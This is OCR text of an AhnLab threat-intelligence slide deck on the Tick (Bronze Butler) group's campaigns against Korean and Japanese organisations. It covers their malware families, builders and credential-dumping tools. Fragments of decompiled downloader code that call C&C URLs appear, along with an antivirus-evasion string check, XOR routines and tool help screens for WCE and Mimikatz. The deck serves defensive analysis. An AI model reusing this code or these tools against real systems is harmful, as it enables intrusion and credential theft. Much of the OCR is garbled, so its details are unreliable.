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Activity Threat Actors in South Korea

2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020
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Xwdoor (Bmdoor)
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Chollima / ScarCruft
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Tick (Bronze Butler, RedBaldKnight) Group

» Tick cyberespionage group (2016)

\(Symantec Official Blog
Tick cyberespionage group zeros in on Japan
Compromised websites and spear-phishing emails used to infect targets with Daserf Trojan

5y: Jon_Dimaggio [l BT

5. @. & =n | CYBER GRID VIEW Vol.2 English Edition

D4MNOV 2016 | C.G.VIEW

This report provides information on the results of analysis regarding Daserf (a type of

malware that is used in targeted attacks aimed at critical infrastructure providers in Japan)

and the attackers using It.

::::::::::

Contributor: Gavin O'Gorman

* Source : https:/Awwv.symantec.comv/connect/blogshick-cyberespionage-group-zerosjapan &

hitps:/imwiac.co jplenglishireport2016/11/04_cgview,_OLhtmi

© AhnLab, Inc. All rights reserved.



Tick (Bronze Butler, RedBaldKnight) Group

» Tick == Bronze Butler == RedBald Knight == Nian

THREAT ANALYSIS

BRONZ
Japane

Secureworks®

THURSDAY, OCTOBER 12,
BY: COUNTER THREAT UNIT

Home Malware REDBALL SHT/BROMNZE BUTLER's C

REDBALDKNIGHT/BRONZE BUTLER's Daserf Backdoor Now
Using Steganography

Posted on: November 7, 2017 at4:34 am  Posted in: Malware, Targeted Attacks, Vulnerabilities
Author: Trend Micro

0O0ODOO

by Joey Chen and MingYen Hsieh (Threat Analysts)

REDBALDKNIGHT, also known as BRONZE BUTLER and Tick,
is a cyberespionage group known to target Japanese
organizations such as government agencies (including
defense) as well as those in biotechnology, electronics
manufacturing, and industrial chemistry. Their campaigns
employ the Daserf backdoor (detected by Trend Micro as
BKDR_DASERF, otherwise known as Muirim and Nioupale) that
has four main capabilities: execute shell commands, download
and upload data, take screenshots, and log keystrokes.

* Source : https:/Amwwv.secureworks.comresearch/bronze-butler-targets{apanese-businesses & https:/blog.rendmicro.comrendiabs-security-

intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/



Tick Group

» Tick Group (Bald Knight, Bronze Butler, Nian, RedBaldKnight)
- Since being named in 2016, their information has been disclosed by multiple security companies
- Attacks on Korean and Japanese organizations and corporations since 2014 (related malware found in Korea since 2008)
- Targets: Korean defense industry, national security and political organizations.
Also corporations in the field of energy, electronics, security, web hosting, IT service, etc.
- Attack Vectors : Spear Phishing, Watering Hole, malicious files in USB Flash Drive, Vulnerabilities in Asset Management

Program, Etc.

* Characteristics

- Customized attacks for environments in Korea and Japan

- Domain, used for C&C, is sometimes registered right before attack

- Several Malware Generators exist

- Multiple malware programs have been written in Delphi scripting language

- Disrupts the decompiling of analysis tools (IDA Hex-Rays) by adding garbage code
- Generates files larger than 50MB to bypass security programs

- Often uses WINRAR Console program to leak internal information



Cases of Major Attack

Towe | o | Dewis

Jan. 2015

May 201
5

Feb. 2016

Jun. 2016

Sep. 201
6

Korea - Defense
Industry

Korea - Major
Company A

Korea - ?

Korea - Major
Company B

Korea - Marine
Industry

Korea -
Telecommunications
Company

Korea - Energy
Industry

Attacked with Netboy variant;
Multiple infections by the same variant reported in Korea

Attacked with Bisodown variant
Modified the EXE file in the USB Memory

Attacked with Netboy variant

Attacked with Daserf variant;
Identical with Daserf malware found at the Korean telecommunications
company in Jun. 2016

Attacked with Daserf variant

Attacked with Datper variant



Cases of Major Attack

 Date | Target | Detals

Apr. 2017

Korea - ?

May 201

May 201
Aug 201
Sep. 201 Korea - Political
8 Organization
Jan. 2019 Korea - Infqrmahon
Security

National Defense

Korea - Political
Organization

Korea - National
Defense

Jan. 2019 Neifag) = Hilisle
Hosting
Feb. 2019 Korea - Electronic
Components

Feb. 2019

Korea - IT Service

Korea - Supposedly

Attacked via a Korean secure USB reported by Palo Alto Unit 42 in 2018

Attacked with a variant of Bisodown With national defense documents
shown as bait, national defense officials are assumed to have been the
targets

Attacked with Bisodown

Attacked with Bisodown variant;
Variant found with Keylogger, named Linkinfo.dll, on the infected system

Attacked with Datper variant

Attacked with Datper variant reported by JPCERT in Feb. 2019

Identical with the malware found at a Korean information security compa
ny in Jan. 2019

Attacked with Datper variant reported by JPCERT in Feb. 2019

Attacked with Datper variant;
|dentical to the malware that attacked a Korean electronic component
manufacturer in Feb. 2019



Tick Group’s Main Malware

2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019

Bisodown (Cpycat, HomamDownloader)

Ghostdown

--

Daserf (Muirim, Nioupale, Postbot)

Netboy (Domino, Invader)

Ninezero
(9002) Xxmm (KVNDM, Minzen)

Datper
—

Tickusb

Keylogger B
ger A

Keylogger
C

© AhnLab, Inc. All rights reserved.
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Builder - NForce

 Nforce 11-02 v1.0

- Malicious PDF created

- CheCheCheChe2010 Prototype
17 . ¢z CheCheCheChe2010

) _ & Plexe P ~. e
T lﬂexeﬁ;ﬁmﬁ l:Js X %itﬁﬂ g l:ldllmitﬁﬂ

FEERE: 338
| ll | PISE |
[EFDFAT {4 JRPDFIC S ©

| | |1‘§UE|

i AR FAE RIS ¢

335:
!
T RAIRRE :
I%temp%

AR

|%temp%




Controller - Netboy

* NetBoy 1.21 (2011)

- Builder/Controller

e NetBoy 121 (2011 05_2
XiHF) IHAM =BiH)

LU EOLS

EERE
[ 1w O 000 Og: [ ﬂ
ERP [ARP EEE [Ees (a2 == L [wx [@tesm  [weswih  |izgsen | Sodet| s

Efa

- n
- w0 ks | oftE up | Fl P51 I B -
| | a
—— UL




Controller - Xxmm

« Xxmm v1.0 (2014)

- Filename : ghOst.exe

ntitled - ghOst

| Server Platform Target File CmdShell SynchroShell Access-Time Configure Help
No,  Quter IP System 1D Latest Visited Ti.,, PHP Interval Time /(... JPG Interval Time /(... InnerIP Computer Name 08 Information CPU
About xxmm
A xxmm, Yersion 1.0
‘% Copyright {C) 2014
< &
Qutput a x
Ready..,
1] 4] »] »["Real-time Log /
Ready

© AhnLab, Inc. All rights reserved.
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Controller - Xxmm

« NetShadowv1.0 (2015)

- NetShadow - vi.0

‘gerver Platform Target File CmdShell SynchroShell Access-Time Configure Help

Mo,  Quter IP Systemn ID  Latest Visited Ti.,, Priviledge PHP Interval Time /(... JPG Interval Time /(... Inner IP Computer Name 08 Information 6]

About NetShadow

MetShadow, Yersion 1.0
Copyright {C) 2015

< I ) %
'Fleialdy... )

| 4] »| »| \Real-time Log

Ready

© AhnLab, Inc. All rights reserved. 15



Builder — Xxmm2 Steganography

« XXxmm?2_steganography.exe (2015)

M :zmm2_steganography @

Source file: | = WtestiWorigin.jpa ‘ Select
Destination File: }c:WtestWtest.jpg | Select |

Parameter
[ [
Start flag: ixxmm ] End flag: {mmxx ]
Server ID: ’all ] Request ID: 2019031116:01:34 ‘
Function

Download Exec: (O Radiol ’ ’

Change URL:  (3)Radioz ’http:ﬁ 10.10.10.23/phptunnel.php l

other:  (ORadio3 \ } [ Select ]

Cancel




Controller - Xxmm

« omm2_build (2015)

_ Module
Kernel Module: WHMm 2, EXE
Sommz uid
Maodule
Common
il Tempiats: TS sEtp-exe
RSAEncryptKey: server.pub.key
RSADecryptKey: client_pri.key
Setup Module X64: tup.
e = etup Module setup.exe Select
Time From: 0
Trojan Template: loadSetup.exe
jpa Tunnel
ijpgTunnel URL: hitp://10,10,10,23/test jpg
Time Interval{ms):  joo0000 Start Flag:
g Destination File Path: ShadowWalker 1.0_Server,exe
phpTunnel URL:  http://10,10,10,23/phptunnel,p
Host Program: “eprogrammles Yo Tinternet explorer Mexplore, exe

Time Interval(ms): 3000 St

Destination File: xumm2 exe Destinaiton File: setup.exe



Builder - ShadowDawn

» ShadowDawn (2016)
- wali_build.exe, shadowDawn.exe

& shadowD (i Control Targets o]

shadowDay
URL: http:/f10.10.10. 23/shadowDawn/s.php
Keni Commar IP List of
UF
UF @
UF A
Tirn
mll
Setup
Reg
FilePath -
FilePatt I
Iy
Single Tt ]
Desting IP White Command Will Execute For Host In White Host List Which has Got
Destir

GetList ] [ Put List GetCommand] [PutCommand Get List ] [ Clear List




Controller - NetGhost

« NetGhostv2.1 & v.2.41 (2017)

- Some Variants Protected with Password

Connet(C) Optioni(O)
Metw.. |WanIP

Wiew() About(A)
| Lan IP

| HostName/Comment | ©

—_—
About MetGhost

‘]

||
Batch Control | Server Create | Settings | IP Update | Jl

Send Message/Execute Command

Title |warning

Content |

| HostName/Comment | 0S

| CPU/Disk/Memory

| Ping | Vid... | AntiVirus Soft | Location

’
About NetGhost V241

Modified From Ghost 3.6

Send MSG | <]

Logoff | Reboot | PowerQff Uninsmlll CIearLogl

Batch Control ]Server Createl Settingsl IP Update I User and Proxyl

~Send Message/Execute Command

~Browse URL

127001 Title [warning

|Ask l.l

Content |

Logoff | Reboot I PowerOff

Send MSG

URL: [http://www.google.com | Hide

Download & Execute

L] Send

Uninstall |

ClearLog | URL: |

|DownLoad L] Send

|

Lo 00 1 I !

|Port: 80 |Connections:

|S:0.00 kb/sR: 0.00 kb/s /J
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Dropper

* Dropper
- Disguised as Original Program =» Create Downloader

Bl Esit @!Ponl D vu.‘r‘:':-"fII £3 4D SET | N Alam | % Setting I 4 Version | X\, Initial &1

[Measure Status | System Status | [ Alarm Set L i L2 ,EII r ': 2 I 2E)
AC VOLT AC High Volt ~
AC_R Volt ® —] g] = = _@_I AL
o sotames 1 23 456 78 910111213141516171819
el IR {) ACNFB DOWN DC High Volt : £ > £
ACTvelt || @ DCHIGHVOLT Batt Low Volt ]
DC Volt {) pcLow voLT DC Low Volt 2
Load Amp | || @ BATT.LOW vOLT SANA RS WA 3
Batt. Amp {0 BATT.RELAY OPEN e He 4
Batt. Temp I (D BATT. NFB(Fuse) Off H = A :
T, || ) BATT.CELLFAIL S/N
Battcell1-1 | 6
{)) BATT.TEMP SENSOR Prog Ver.
- 7

Batt Cell 1-2 ;»Umt S‘tatuv’

Batt Cell 1-3 OLT AMP TEMP 2% UVFFOTOV

Batt Cell 1-4 | @ unIT1 [ o00e®
Batt Cell 2-1 (@ unIT2 |__ | o00®
Batt Cell 2-2 | @ UNIT3 | oeoee®
Batt Cell 2-3 I. LT I _I .. ..

| 900®

Batt Cell 2-4 |
@ uniTe
Batt Cell 3-1 ‘
@ unIT?
Batt Cell 3-2 ].
UNITS

Batt cell 3-3 I }. UNIT9

Batt Cell 3-4 I. UNIT10

l [TYT} D S N R R B No eye_base.eye file!
| | 99e® T T T T Eve-Pattern data base install failed!

Put eye_base eve to the same directory with Aya.exe

I
I
I
|
@ unITS |
I
I
I
I
I

|
I
I
|
I
—— 11 1
I
I
|
|

You can play without eye_base eve, but Aya becomes weak,

57600 Bps  |Parity_MOM Stop bits_1  |Data bits_8 |COMI1

© AhnLab, Inc. All rights reserved. 21



Bisodown (Cpycat, HomamDownloader)

» Bisodown (Cpycat, HomamDownloader)

- Discovered between April 2014 — Feb. 2019
- Downloader =» Used by Tonto Group

00404010
00404020 :
00404030 :
00404040
00404050 :
00404060
00404070
00404080
00404090 :
00404000 :
00404080 :
.004040C0 :
00404000 :
.B04040E0:
.004040F0 :
00404100
00404110
00404120
00404130 :
00404140
00404150

msserver
1Ces . exe

DER EEE

=/= Content-Type
» xf= http://w
ww.si1tclogl.co.]
p/common/1inc/xml
s.php  advpack.
dll IsNTAdmin

\  ProgramFiles
Dir SOFTWAREMMic
rosof t\Hindows\C
urrentVersion
\Microsoft MApp
lications  %USE
RPROFILEY%  MAcc
essories Hind
ows NT ° %d

: User Agent
ntYersioniIntern
et Settings osof




Ghostdown AhnlLab

» GhostDown

- Discovered between Feb. 2013 — Feb. 2018
- Encrypted strings , such as APl address, C&C degree etc. (Generally XOR OxDF)

10wmaln : FARA
e ﬂ*J 251 % % ||10T

o«

5
E @B ?? ?? ?? 2E lnwmaln : wuw .

.00405090: 80 00 00 00.20 00 00 00.40 06 00 O
.0040850A08: 6C 6F 77 6D.61 69 6E 00.3R 00 00 O
.004050B0: AF BG B6 F1.BC A6 BB B6.AC B4 F1 B

. FE NEF QA 7 A1 AR AA AR A2 AAQ AR
DouOBLD:  agbgbona: | 6C 6F 17 6D.61 69 6F 0O,

004050E0: 900000BO: 70 6F 69 2E.63 79 64 69. 6E.60 74 3A 38 poi.cydisk.net:8
004050F0 - 000050C0: 30 00 80 /C.01 00 00 00.0 0 00.4C EC 12 00 0 Ci8 @ L=t
00405100 ©000050D0: 48 EC 12 00.60 EE 12 00.5B Do 60 73.63 Do 60 73 H=l "€l [rescres
‘004051109 O0005GEG: 43 00 3A 00.5C 00 57 00.F6 68 D3 73.44 00 4F 00 C : \ M +h'sD 0
00405120 900000F0: 30 C9 D6 77.00 06 00 00.1C EC 12 00.F8 EQ 12 60 Opfw c=] %=l

.00405130: .7C 2B 54 48.63 65 3B 30.25 37 4F 69 [1{}}+THce;0%70i
00405140 44 &5 36 71.53 3F 61 77.2E z#” DE6qS7aw /BJ
00405150 .00 00 6A 67.49 SC 60 SE.40 1k, yUPjgIN " "@xt
00405160 : 21 78 32 52.6F 58 3D 76.5F umVﬂ p2RoX v_:Mé

00405170 : : Ui eSS ol Sk S oabeoliUZed s i R i @ . L At Roe

: : - POOCHSH : . . . |
.00405180: . 000OCO90: . . . R
. 00405190 : . BABACANG ) . . lowmain : blog
PR4LO51AR0 - - : gggggggg } . . ésoftfjx:co.krifﬁ
Y . 3 . . . . Ta ZiUu
'ggigg%ggi " PPAOCADO: . . . yx' B 8 U:{u
: : - PPOOCOFD: . . . =" Hbb oTa
.004051D0: . PDOACOFO - ) . . R1a 3t ¢, Gw'Ta
POOBC100 : . ) ) Cwl Hra =l

0.02 00
0.A8 A3
1 BA AB
A L0 FC
3A 00 0
13 6B 2
2 00 0




Ghostdown

* Created Domain at Certain Websites

- dnsever etc.

dnSE VE’_ Web-based DNS Service - DNSEver

[ Welcome to www.poi.cydisk.net! ]

@ PROBIT:

OKEN PRE-SALE

dnge Ver Web-based DNS Service - DNSEver

B www.poi.cydisk.net domain is a subdomain provided

If this page is displayed even though www.poi.cydisk.net

* Application of the DNS setup has not been complete

{For this case, page will be displayed properly if you [ Welcome to www_kot'gogoblog_net!

# Corresponding domain does not exist or the corres)

DMNSEver only provides DNS service for the above domain, t
esponding domain.

If you want to use the subdomain of cydisk.net, please vis P R o B | _|_
EXCHANGE

© 2019 DN!

TOKEN PRE-SALE

10% Bonus

@ www.kot.gogoblog.net domain is a subdomain provided by DNSEver.

* Source : DNSEver.com



Gofarer

» Gofarer

Once executed, the Trojan creates the following files:

» %Temp%\~-DFDFA[RANDOM CHARACTERS FILE NAME].log
= WProgramFilesb\Startup\Gofarer,EXE

The Trojan creates one of the following mutexes to make sure only one instance of itself is running:

» fe953017-2e96-4d52-aa5f-adf5144edbbc
» e511fe20-e960-4b31-a8ab-20837720b0f7

Summary

. Next, the Trojan connects to the following remote locations:
Discovered: Decemb

_Llfp:lat_erd:_[)ecembert « [hitp:/www.aucsellers.com/images/notes/img/inde[REMOVED]
ype: Trojan
Infection Length: Var ® [hitp://lwww.aucsellers.com/rim/images/01/js/jsfinde[REMOVED]

Systems Affected: W

2819980 || ETPRO TROJAN Downloader.Gofarer Checkin |i mdS, db909¢50b4f3263efT69028d9680a37f || url,symantec.com/connect,/blogs/tick-cyberespionage-group-zeros-

japan
* Source : https:/Amwwv.symantec.convsecurity-centerivriteup/2015-120812-1148-99 & http:/frules.emergingthreats.net/changelogs/archive/snort-
2.8.6.etpro.2016-04-29T22:21:20.txt



Gofarer

» Gofarer

- Downloader : Digital Signature Details ' |
- Digital Signature Details : Does Heruida Electronic Technology | ceneral | advanced|

- Infection found Only in Japan

=% Digital Signature Information
Xﬁ/f This digital signature is OK.

CreateMutexA(@, 1, Name); // e511fe2@-e960@

: G =+Error e

it { GecLasterror() 1831 Signer information
return @;

strcpy(&URL, "http://www.aucsellers.com/rim/images/@1/js/js/ing Name:
memset (&8, @, @x90u);
va = time(0); E-mail:
setRandom_421B3@(v4);
GetModuleFileNameA(®, &Filename, @x104u); Signing time:
memset(&pszPath, @, ©x184u);

result = SHGetSpecialFolderPathA(®, &pszPath, 7, 0);

INot available

l Tuesday, August 04, 2015 10:14:44 AM

[ View Certificate

ath, String2); // \\Gofarer.exe Countersignatures
CopyFileA(&Filename, &pszPath, 1); |
while ( 1) Name of signer: E-mail address: Timestamp
WoSign Time Sta... Not available Tuesday, August 04,...
Download_4010F@((int)&URL);
vS = time(0);
setRandom_401B88(v5);
Sleep(18@0000U); Details
}

¥

return result;
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Daserf (Muirim, Nioupale, Postbot)

* Daserf (Muirim, Nioupale, Postbot)

- First discovered in 2009 (in Apr. 2011 in Korea)

- Mostly 30-40 KB (Some are 100 KB or more.) Versions exist in Delphi scripting language and C language
- Main functions: View file lists, execute commands with cmd.exe, Upload/Download/Delete/Execute/Uninstall files

- C&C information encrypted at the version information and the end of the file

%ggiiggg. 25 30 38 73.00 00 00 00./5 / ) %@8x\ Fsid.dat
: ) ; ; http=
.13841030: 17 6513841290- . . . %d ProxyServer

13841040
.13841050:
.13841060:
13841070
.13841080:
.138410890:
.138410A0 :
.138410B0:
.138418C0:
13841000 :
.138410ED:
.138410F0:
.13841100:
.13841118:
.13841120:
13841130
.13841140:
.13841150:
.13841160:
.13841170:
. 13641180

0°138412A0:
20 138412B0:
00.138412C0:
9 13841200
@g 138412E0:

138L9FF0:
00008600 :
00008010 :
00008020 :
00008030 :
00008040
00008050 :
00008060 :
00008070
00008080 :
00008090 :
00008OA0 :
00008OB0Y :
000080C0:
000086009 :
000OBOED:

ProxvEnable :

Software\Hicroso
ft\Windows\Curre
ntVersion\Intern
et Sgtiings Eeqs

N TafaofDifki~

FBB&F**h
=:076=010-6394
6 = 1¢"‘JrILIL
0 ggars

% [H=:076L+040=63
9& 6r8“'—1¢“'-|-LL
—|rn Lgﬂ-
M==6F7;+29:8
—'|r_."1*=1l""|' L L.

Tn 1E
vatyiyDifi=




Netboy (Domino, Invader, Kickesgo)

* Netboy (Domino, Invader, Kickesgo)

-Actively discovered after 2010; Initial version of DLL format discovered from Korea in 2008
- Writtenin Delphi language
- Encrypted major strings into XOR OxC7

_Ini HAi 1318FE94 xor@x7C_1318FE94 proc near ; CODE XREF: MalwareMain_1319@EE8+5Alp
InJeCted within the Process, such a1318F694 ; MalwareMain_13190EE8+84ip ...
. . . 1318FE94
- Conduct functions including keylog; 31sr£94 — oeiord | Pk
1318FE94
_ ; 1318FE94 push ecx
Code Change (2012) > Dlsmpte(1318FE95 mov [esp+4+var_4], eax
1318FE93 mov cX;. i 76h 5 *[*
1318FE9A mov eax, edx
1318FE9C dec eax
1318FE9D test eax, eax
1318FE9F jl short loc_1318FEAD
1318FEAL inc eax
1318FEA2
1318FEA2 loc_1318FEA2: ; CODE XREF: xor@x7C_1318FE94+17{j
1318FEA2 mov edx, [esp+é+var_4]
1318FEAS xor [edx], cl
1318FEA7 inc [esp+a+var_4]
1318FEAA dec eax
1318FEAB jnz short loc_1318FEA2
1318FEAD
1318FEAD loc_1318FEAD: ; CODE XREF: xor@x7C_1318FE94+B1j
1318FEAD pop edx
1318FEAE retn

1318FEAE xor@x7C_1318FE94 endp
1318FEAE



Ninezero (9002)

* Ninezero (9002)

- Discovered between 2012-2013

- Dropper 70 KB =» Backdoor DLL 33 KB
- Distinctive export function exists in the DLL file

- Netboy also found in some systems

Ordinal Function RVA | Name Ordinal | Name RVA Name
(nFunctions) Dword Word Dword szAnNsi
00000001 00001820 0000 0000253F InitFunc
00000002 00001800 0001 00002548 Launch
00000003 00001ADO 0002 0000254F ServiceMain




Xxmm (KVNDM, Minzen, ShadowWali, Wali, Wrim)  Anntab

* Xxmm (KVNDM, Minzen, Murim, Shadow\Wali, Wali, Wrim)

- Firstdiscoveredin 2015, Actively used from 2016 (Initial versionincludes xxmm  string)

- Initial versioninclude a distinctive PDB  ‘C:\Users\123\Desktop\shadowDoon\Release\loadSetup.pdb’-> Excluded after Dec. 2015
- Consists of a Dropper, Loader, and Backdoor

- Created fileslargerthan 50 MB

- Encrypted communications via one-time AES and RC4 key;, active only at specifictimes

.004150E0:
.004150F0
00415100
00415110
00415120
00415130
00415140
00415150
00415160
00415170
00415180
00415190
00415100
.004151B0:
.004151C0:
.004151D0:
.004151E0:
.004151F0:
00415200
00415210

osition :trylMdde

1 " "MAif exist

* goto try!f

del %0 xxmm
.bat ntdll.dl
| Rt1Decompres
sBuffer ==

bad exceptio
n H

|
RSDSEY | ¥a=UOE{F«
ITHY C:\Users
\123\Desktophsha
dowDoor\Release\
loadSetup.pdb




Xxmm (KVNDM, Minzen, ShadowWali, Wali, Wrim)  Anntsb

A\ 4

Dropper

Loader

Encrypted
Data

2. Drop

S

Downloader
/ Backdoor

Encrypted

URL Data

3. Execute
in the Memory

4. Check Time

Downloader
/ Backdoor




* Datper

- Discovered between 2015 — March 2019

- Writtenin Delphi scripting language

- Active in Korea and Japan

- Garbage values embedded in the middle of the code
- Keylogger, Mimikatz found in the infected systems

void _ noreturn start()

1

int v@; // ecx

int vl; // ecx

void *v2; //
unsigned int
int va; //

int savedreg

v _:_ — 9;

sub_485878()
v3 = _ readf
__writefsdwo
unk 4161AC +
unk_4161AC -

unk_4161AC -

unk_4161AC -=
unk_4161AC +=

unk_4161AC -
sub_4867F3(v
sub_4849B8(v
*off 412894
*off_412840
*off 412840
sub_4@EA9Q(v
__writefsdwo
sub_48465C(&
sub_4084434()

[esp+4h]

ecXx

v3; // [esp-Ch]

s; // [e

.
3

sdword(@);

rd(®, (unsigned int)&v3);

= 417234916,
= 1635183131;
= 285798363;
727338489;
263591167;
= 586388791;

8, &4, v3, &loc_411173, &savedregs

;) :‘);

= 1;

1;

1;

2)s

l"d(e, '-"3)3
loc_41117A);

.
>



Keylogger A (2011)

* Keylogger A (2011)
- Discovered between April — May 2011
- File name: keyll.exe
- User input key content saved in c:\windows\log.txt

- Daserf found in the infected system

—

00404150
00404160 ;
00404170
.00404180:
00404190
.004B41A0
.004041B0O
.004041C0;
.B04041D0O
.B04BL1ED: : i : @ !
.B04041F0: : . . % HhC  HCHC
00404200 . . : wehshehehs  #02d
00404210 : ) : . -%02d %02d:%02d:
00484220 : : ] : : %02d a+t \sen
00404230 : . : : . % dscfg.dll

TN VI
D OVOOTITIm
W — M
M Ormr- 20 -
P e i 11T ] i

?

- 3T o e p— p— e — p— —
=%
<

S QO remey pmm . p— po— po—  po— p—




Keylogger B (2017~2018)

» Keylogger B (2017~2018)
- Discovered between 2017—- 2018

- File name : apphelp.dll, k6.dll, linkinfo.dll etc (40-50 KB)

- Bisodown, Datper found in infected system

.100081F0:

.10008200:

.10008210:

10008220

.10008230:

.10008240:

10008250 :

10008260 :

.10008270:

.10008280: : : : ;
.10008290 : Y * : ] &b

RN £~ O\ CO b b

.100082A0 :
.100082B0
.100082C0 :
.100082D0 :
.100082E0 :
.100082F0
.10068300:
.10008310:
.10008320
10008330

—~ERm T T T T

use r32.d

GetK eySt
ate Getfs yncK
eyS tate »USE
RPROFILE%  \App
Data \Local

\Hindows \deb
ug.log MI[%02d/
%#02d/%d %02d: %02
d:%02d]1 (%s) g




Keylogger C (2017~2018)

* Keylogger C (2017~2018)

- Discovered between Apr. 2017 — Feb. 2018 =» Mainly found in the Tickusb-infected systems

- File name: linkinfo.dll, netutils.dll

- Key input contents saved at Log file

.10616338 - ) ) ) Interface Hard
.10010340 - ) ) ) ware Hime
.10010350 : ) ) ) SAM SECURITY
.100103608 ) ) ) SYSTEM Sof tware
.1061031708: ) ) ) TupelL1b %d
.10010380: ) ) ) e [ESC]
.10010390 : ) ) ) [F2]
.100103A8 ) ) ) [F&l
.106103B6 - ) ) ) [F61]
.1008103C8 - ) ) ) [F8]
.106160308 ) ) ) [F181
.100103E08: [F121]
.100103F8 - 3
.10010400 - ¥
.100104108: -
.10010420
.100104308 -
10010440
.100104508
. 10010460 :

1
t

L Bl ¢ e B R R

0
d

—_
I
)
e T S TN D

o

g



Tickusb

* Tickusb (SymonLoader)
- Found to be active from spring 2014 to Nov. 2017 (possibly even before Sep. 2012)

- First analysis disclosed by Unit42 in Jun. 2018
- Saved information leaked and data modified when USB Flash Drive was connected

- Some variants found in the Korean Secure USB Flash Drive =» Execute by reading data from specific area
=> Execution code unchecked
- Modified EXE file and patched ALYAC25.EXE file within some modified USB Flash Drive

» Composition of Tickusb

- Consists of EXE file including the essential code for DLL, which acts as the Loader

- Main function of DLL (Loader): Executes Tickusb EXE when USB Flash Drive is connected, Downloads additional files

- Main functions of EXE file: Collects information within the USB Flash Drive, Infects EXE file, and Patches ALYAC25.EXE
- Modified EXE within a USB Flash Drive: Executes by creating Downloader or Tickusb variants



AhnLab

Apr. 2017 - Used Korean Secure USB Flash Drive

» Attacked using Korean Secure USB Flash Drive

- Performs malware infection via variant-installing programs

- Presumed to be an attempt to attack net isolation systems by using Korean Secure USB Drive

Tick Group Weaponized Secure USB Drives to
Target Air-Gapped Critical Systems

By and
June 22, 2018 at 1:00 PM
Category:

Tags:

* Source : https://unit42.paloattonetworks.com/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/



Tickusb

* Flowchart of Tickusb

= ARPSpoofer
Stage 1 Downloader < Keylogger
o Drop
DC 20 = Mimikatz
o ( ]
1. D ? S
- Downlosd ? Stage 3 3O [y Port Scanner
iffexe EXE
l 2. Patch ;
Modified LegEt)l(rEate 7. search files
EXE | Stage 2 8. modify EXE files
| 3. Load & Execute D‘IV_L 6. Execute | Tickusb
: 5. Inserted g EXE
USB Flash Drive ?

Create a log file

y
4. Create a log file 9. Download

\ 4

msupdata.exe

Downloader
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Builder - AntiAV

« Anti 1.03 &z Anti 1.03

- AntiAV IREr {5

WEEiRE S |anti

FERTA exress |te5t. exe

== o S |
Generate

- " v4 = (UNICODE_STRING 9];
ggg}gg?g : ,, Ef ( (71; ddr e_jal d() )[)]
'E)B(]1(}C[j0: J YYU. . RtlUpcaseUnico dug 'Lng(( YUNICODE RING)&De hationString, v4 + 6, 1u);
.00016D006 : : if ( wesstr(Destinationst ::-:‘;.Buffer, Rt 1904&) )
0081801@ ; { 9 4 str(Destir wationStrine.Buff &word_1@D36) )
888%88%8 : A0 Q0 : retur; 17; SR R
8001804@ if (t'.\'css;:.;SLE';'::',s":«‘;",:_'r‘.'il':‘;'A":;;.Buffer, )
.00010D50: . 00. } ’

.0008106D60 : : 3 ) / if (twcssg;(ie:iiﬁaticﬁit'ing.Buffer, L"AHNLAB") )
888}88;8 : : if ( wcsstr(DestinationString.Buffer, L"HAURI") )
.00010D30: = . : if ( wcsstr(DestinationString.Buffer, &word_10CFA) )
88818828 3 i . d return 49;

.0001¢€ St C 00.5 if ( wesstr(DestinationString.Buffer, &word 16CDE) )
.00016DCO : : : return 5@;

80010000 : ) t1FreeUnicodeString( (PUNICODE
|00010DEO : , e
.00010DF0 ; . JU .00 UY VY UY.00 UY VY UY  1.aym

_STRING)&DestinationString);




Arpspoof - Hijack

* Hijack v2.0

- Disguised as Hancom file (C:\HNC\Hwp70\hwp70.exe)
- Arpspoof function

&8 Command Prompt o[- 3|

usage: hijack <{-LUZhefusxrkHDtNzi> <-d dev> <-8 interval> <-I0 pcap_dump>

-} normalibyline inone> <-F file> <-p port> <-E quit time>
{-R rebhoot time> <-h submask> <{-m speed> <Source Host> <{Dest Host>
<{match expression> <hpf filter> | <{genuine host> <{faked host>
s help/usage

version information

bhe verbhose

show empty packets

ignore case

spoof interval

enabled ip routing

to force define submask

define max transmit speed k/s

set full spoof—-route mode default is half

print in alternate hexdump format

interpret match expression as hexadecimal

the port to hijack

read packet stream from pcap format file pcap_dump

dnsspoof mode

print timestamp every time a packet is matched

time to quit

time to reboot program

release demo job file

scan hosts in subnet

hidden from console,. hackground mode killed /k




Credential dumping - WCE AhnLab

» WCE (Windows Credentials Editor)

- File signed with Heruida Electronic credential found (2016)

c :\work>uce -h
WCE vl.42beta (Windows Credentials Editor)> — {(c> 20108-20813 Amplia Security — hy
Hernan Ochoa ¢(hernanfampliasecurity.com)
lUse —h for help.
Options:
List
C}]an(c \work>wuc64 —h
ParaWEC vl.42beta (¥64> (Windows Credentials Editor)> - {(c)> 2818-2013 Amplia Security
Lists — by Hernan Ochoa <(hernanfampliasecurity.com?>
Refrdlse —h for help.
Opti®Options:
Run < -1 List logon sessions and NTLM credentials {(default).
=S Changes NTLM credentials of current logon session.
Parar Parameters: <{UserName>:<{DomainName>:<{LMHash>:<{NTHash>.
Lists Lists logon sessions and NTLM credentials indefinitely.
Ref »e Refreshes every 5 seconds if new sessions are found.
saves Optional: —r<{refresh intervall.
Parar Run <cmd> in a new session with the specified NTLM crede
Spec:ntials.
Parar Parameters: <cmd>.
De let Lists logon sessions NITLM credentials indefinitely.
Parar Refreshes every time a logon event occurs.
Use f saves all output to a file.
Parar Parameters: <filename>.
Force i Specify LUID instead of use current logon session.
Parameters: <luid>.
Delete NILM credentials from logon session.
Parameters: <luid>.
Use Addresses.
Parameters: <addresses>

c :\work>GetLSASRVUaddresses.exe
GetLSASRVUaddresses vli.1 — {(¢c> 2811-26813 Hernan Ochoa ¢(hernanfampliasecurity.com)
» Amplia Security

Syntax: getlsasrvaddr.exe <{filename>
Example: getlsasrvaddr.exe lsasrv.dll




Credential dumping - Mimikatz AhnLab

* Mimikatz

- mi.exe, mi2.exe, m3.exe, m32.exe

@ mimikatz 2.0 alpha %86 (oe.eo)

%33 38 mimikatz 2.8 alpha (x86> release '
I R ¢ N
Bt 2 N Rt e e x
it N\ 2 H Benjamin DELPY ‘gentilkiwi® ¢ benjaminCgentilkiwi.com >
‘Hit v HUW’ http://blog.gentilkivi.com/mimikatz (oe.eo>
' puauyg’ with 17 modules 3 3 »x/

mimikatz #

mimi # version

mimi 2.1.1 <arch =862
Windows NT 6.1 build 7681 <arch x64>
msvc 16606046217 1

mimi # a
